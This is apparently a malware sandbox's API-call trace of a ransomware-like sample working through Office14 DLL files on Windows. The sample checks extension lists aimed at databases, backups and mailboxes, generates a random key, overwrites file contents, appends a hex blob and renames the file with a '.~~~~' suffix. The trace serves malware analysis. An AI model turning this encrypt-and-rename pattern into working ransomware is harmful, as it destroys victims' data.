	[0080.318] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".cmd") returned 0x0
	[0080.318] lstrlenW (lpString=".dll") returned 4
	[0080.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".dll") returned 0x0
	[0080.319] lstrlenW (lpString=".bat") returned 4
	[0080.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".bat") returned 0x0
	[0080.319] lstrlenW (lpString=".cpl") returned 4
	[0080.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".cpl") returned 0x0
	[0080.319] lstrlenW (lpString=".sys") returned 4
	[0080.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".sys") returned 0x0
	[0080.319] lstrlenW (lpString=".msc") returned 4
	[0080.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".msc") returned 0x0
	[0080.319] lstrlenW (lpString=".com") returned 4
	[0080.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".com") returned 0x0
	[0080.319] lstrlenW (lpString=".lnk") returned 4
	[0080.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".lnk") returned 0x0
	[0080.319] lstrlenW (lpString=".msp") returned 4
	[0080.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".msp") returned 0x0
	[0080.319] lstrlenW (lpString=".pif") returned 4
	[0080.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".pif") returned 0x0
	[0080.319] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0080.319] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0080.347] lstrlenW (lpString=".sqb") returned 4
	[0080.347] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".sqb") returned 0x0
	[0080.347] lstrlenW (lpString=".ost") returned 4
	[0080.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".ost") returned 0x0
	[0080.358] lstrlenW (lpString=".txt") returned 4
	[0080.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".txt") returned 0x0
	[0080.358] lstrlenW (lpString=".mdt") returned 4
	[0080.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".mdt") returned 0x0
	[0080.358] lstrlenW (lpString=".BDB") returned 4
	[0080.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".BDB") returned 0x0
	[0080.359] lstrlenW (lpString=".eql") returned 4
	[0080.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".eql") returned 0x0
	[0080.359] lstrlenW (lpString=".DBF") returned 4
	[0080.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".DBF") returned 0x0
	[0080.359] lstrlenW (lpString=".EQL") returned 4
	[0080.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".EQL") returned 0x0
	[0080.359] lstrlenW (lpString=".FDB") returned 4
	[0080.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".FDB") returned 0x0
	[0080.359] lstrlenW (lpString=".EDB") returned 4
	[0080.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".EDB") returned 0x0
	[0080.359] lstrlenW (lpString=".DACPAC") returned 7
	[0080.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".DACPAC") returned 0x0
	[0080.359] lstrlenW (lpString=".VHD") returned 4
	[0080.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".VHD") returned 0x0
	[0080.359] lstrlenW (lpString=".DBV") returned 4
	[0080.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".DBV") returned 0x0
	[0080.359] lstrlenW (lpString=".dacpac") returned 7
	[0080.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".dacpac") returned 0x0
	[0080.359] lstrlenW (lpString=".sdf") returned 4
	[0080.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".sdf") returned 0x0
	[0080.360] lstrlenW (lpString=".accdb") returned 6
	[0080.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".accdb") returned 0x0
	[0080.360] lstrlenW (lpString=".DBX") returned 4
	[0080.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".DBX") returned 0x0
	[0080.360] lstrlenW (lpString=".MDT") returned 4
	[0080.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".MDT") returned 0x0
	[0080.360] lstrlenW (lpString=".SQB") returned 4
	[0080.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".SQB") returned 0x0
	[0080.360] lstrlenW (lpString=".vhd") returned 4
	[0080.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".vhd") returned 0x0
	[0080.360] lstrlenW (lpString=".bac") returned 4
	[0080.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".bac") returned 0x0
	[0080.360] lstrlenW (lpString=".mdf") returned 4
	[0080.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".mdf") returned 0x0
	[0080.360] lstrlenW (lpString=".BAK") returned 4
	[0080.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".BAK") returned 0x0
	[0080.360] lstrlenW (lpString=".BAC") returned 4
	[0080.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".BAC") returned 0x0
	[0080.360] lstrlenW (lpString=".dbs") returned 4
	[0080.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".dbs") returned 0x0
	[0080.360] lstrlenW (lpString=".vhdx") returned 5
	[0080.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".vhdx") returned 0x0
	[0080.360] lstrlenW (lpString=".NDF") returned 4
	[0080.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".NDF") returned 0x0
	[0080.361] lstrlenW (lpString=".dat") returned 4
	[0080.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".dat") returned 0x0
	[0080.361] lstrlenW (lpString=".DBS") returned 4
	[0080.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".DBS") returned 0x0
	[0080.361] lstrlenW (lpString=".CKP") returned 4
	[0080.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".CKP") returned 0x0
	[0080.361] lstrlenW (lpString=".edb") returned 4
	[0080.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".edb") returned 0x0
	[0080.361] lstrlenW (lpString=".PST") returned 4
	[0080.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".PST") returned 0x0
	[0080.361] lstrlenW (lpString=".dbf") returned 4
	[0080.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".dbf") returned 0x0
	[0080.361] lstrlenW (lpString=".SQL") returned 4
	[0080.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".SQL") returned 0x0
	[0080.361] lstrlenW (lpString=".pst") returned 4
	[0080.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".pst") returned 0x0
	[0080.361] lstrlenW (lpString=".dbv") returned 4
	[0080.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".dbv") returned 0x0
	[0080.361] lstrlenW (lpString=".SDF") returned 4
	[0080.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".SDF") returned 0x0
	[0080.361] lstrlenW (lpString=".dtxs") returned 5
	[0080.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".dtxs") returned 0x0
	[0080.361] lstrlenW (lpString=".db3") returned 4
	[0080.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".db3") returned 0x0
	[0080.362] lstrlenW (lpString=".OST") returned 4
	[0080.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".OST") returned 0x0
	[0080.362] lstrlenW (lpString=".dbx") returned 4
	[0080.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".dbx") returned 0x0
	[0080.362] lstrlenW (lpString=".DB3") returned 4
	[0080.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".DB3") returned 0x0
	[0080.362] lstrlenW (lpString=".DAT") returned 4
	[0080.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".DAT") returned 0x0
	[0080.362] lstrlenW (lpString=".VHDX") returned 5
	[0080.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".VHDX") returned 0x0
	[0080.362] lstrlenW (lpString=".ndf") returned 4
	[0080.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".ndf") returned 0x0
	[0080.362] lstrlenW (lpString=".DB") returned 3
	[0080.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".DB") returned 0x0
	[0080.362] lstrlenW (lpString=".sql") returned 4
	[0080.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".sql") returned 0x0
	[0080.362] lstrlenW (lpString=".MYD") returned 4
	[0080.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".MYD") returned 0x0
	[0080.362] lstrlenW (lpString=".DBT") returned 4
	[0080.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".DBT") returned 0x0
	[0080.362] lstrlenW (lpString=".ACCDB") returned 6
	[0080.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".ACCDB") returned 0x0
	[0080.363] lstrlenW (lpString=".fdb") returned 4
	[0080.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".fdb") returned 0x0
	[0080.363] lstrlenW (lpString=".bak") returned 4
	[0080.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".bak") returned 0x0
	[0080.363] lstrlenW (lpString=".myd") returned 4
	[0080.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".myd") returned 0x0
	[0080.363] lstrlenW (lpString=".DTXS") returned 5
	[0080.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".DTXS") returned 0x0
	[0080.363] lstrlenW (lpString=".ckp") returned 4
	[0080.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".ckp") returned 0x0
	[0080.363] lstrlenW (lpString=".dbt") returned 4
	[0080.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".dbt") returned 0x0
	[0080.363] lstrlenW (lpString=".db") returned 3
	[0080.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".db") returned 0x0
	[0080.363] lstrlenW (lpString=".TXT") returned 4
	[0080.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".TXT") returned 0x0
	[0080.363] lstrlenW (lpString=".MDF") returned 4
	[0080.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".MDF") returned 0x0
	[0080.363] lstrlenW (lpString=".bdb") returned 4
	[0080.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".bdb") returned 0x0
	[0080.363] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0080.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.364] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0080.365] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.365] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0080.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0080.365] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20035504623) returned 1
	[0080.365] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x99c1c8f0, dwHighDateTime=0x1d60e1e)) 
	[0080.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0080.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0080.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0080.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bc10
	[0080.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bc10 | out: hHeap=0x300000) returned 1
	[0080.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6df0
	[0080.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbbc0
	[0080.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6df0 | out: hHeap=0x300000) returned 1
	[0080.366] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0080.366] GetLastError () returned 0x0
	[0080.366] GetLastError () returned 0x0
	[0080.366] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0080.366] GetLastError () returned 0x0
	[0080.366] GetLastError () returned 0x0
	[0080.366] ReadFile (in: hFile=0x118, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0080.369] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.369] WriteFile (in: hFile=0x118, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0080.371] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0080.372] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.372] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.376] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.376] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.377] CloseHandle (hObject=0x118) returned 1
	[0080.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0080.377] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll.~~~~")) returned 1
	[0080.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6df0 | out: hHeap=0x300000) returned 1
	[0080.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0080.378] GetLastError () returned 0x0
	[0080.378] RtlWakeConditionVariable () returned 0x365f70
	[0080.378] GetCurrentThreadId () returned 0x9cc
	[0080.378] GetCurrentThreadId () returned 0x9cc
	[0080.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb960
	[0080.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fbe20 | out: hHeap=0x300000) returned 1
	[0080.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bc48 | out: hHeap=0x300000) returned 1
	[0080.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbe20
	[0080.378] lstrlenW (lpString=".scr") returned 4
	[0080.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".scr") returned 0x0
	[0080.379] lstrlenW (lpString=".cmd") returned 4
	[0080.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".cmd") returned 0x0
	[0080.379] lstrlenW (lpString=".dll") returned 4
	[0080.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".dll") returned 0x0
	[0080.379] lstrlenW (lpString=".bat") returned 4
	[0080.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".bat") returned 0x0
	[0080.379] lstrlenW (lpString=".cpl") returned 4
	[0080.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".cpl") returned 0x0
	[0080.379] lstrlenW (lpString=".sys") returned 4
	[0080.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".sys") returned 0x0
	[0080.379] lstrlenW (lpString=".msc") returned 4
	[0080.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".msc") returned 0x0
	[0080.379] lstrlenW (lpString=".com") returned 4
	[0080.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".com") returned 0x0
	[0080.379] lstrlenW (lpString=".lnk") returned 4
	[0080.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".lnk") returned 0x0
	[0080.379] lstrlenW (lpString=".msp") returned 4
	[0080.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".msp") returned 0x0
	[0080.379] lstrlenW (lpString=".pif") returned 4
	[0080.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".pif") returned 0x0
	[0080.379] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0080.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0080.381] lstrlenW (lpString=".sqb") returned 4
	[0080.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".sqb") returned 0x0
	[0080.381] lstrlenW (lpString=".ost") returned 4
	[0080.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".ost") returned 0x0
	[0080.381] lstrlenW (lpString=".txt") returned 4
	[0080.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".txt") returned 0x0
	[0080.381] lstrlenW (lpString=".mdt") returned 4
	[0080.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".mdt") returned 0x0
	[0080.381] lstrlenW (lpString=".BDB") returned 4
	[0080.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".BDB") returned 0x0
	[0080.381] lstrlenW (lpString=".eql") returned 4
	[0080.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".eql") returned 0x0
	[0080.381] lstrlenW (lpString=".DBF") returned 4
	[0080.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".DBF") returned 0x0
	[0080.381] lstrlenW (lpString=".EQL") returned 4
	[0080.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".EQL") returned 0x0
	[0080.381] lstrlenW (lpString=".FDB") returned 4
	[0080.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".FDB") returned 0x0
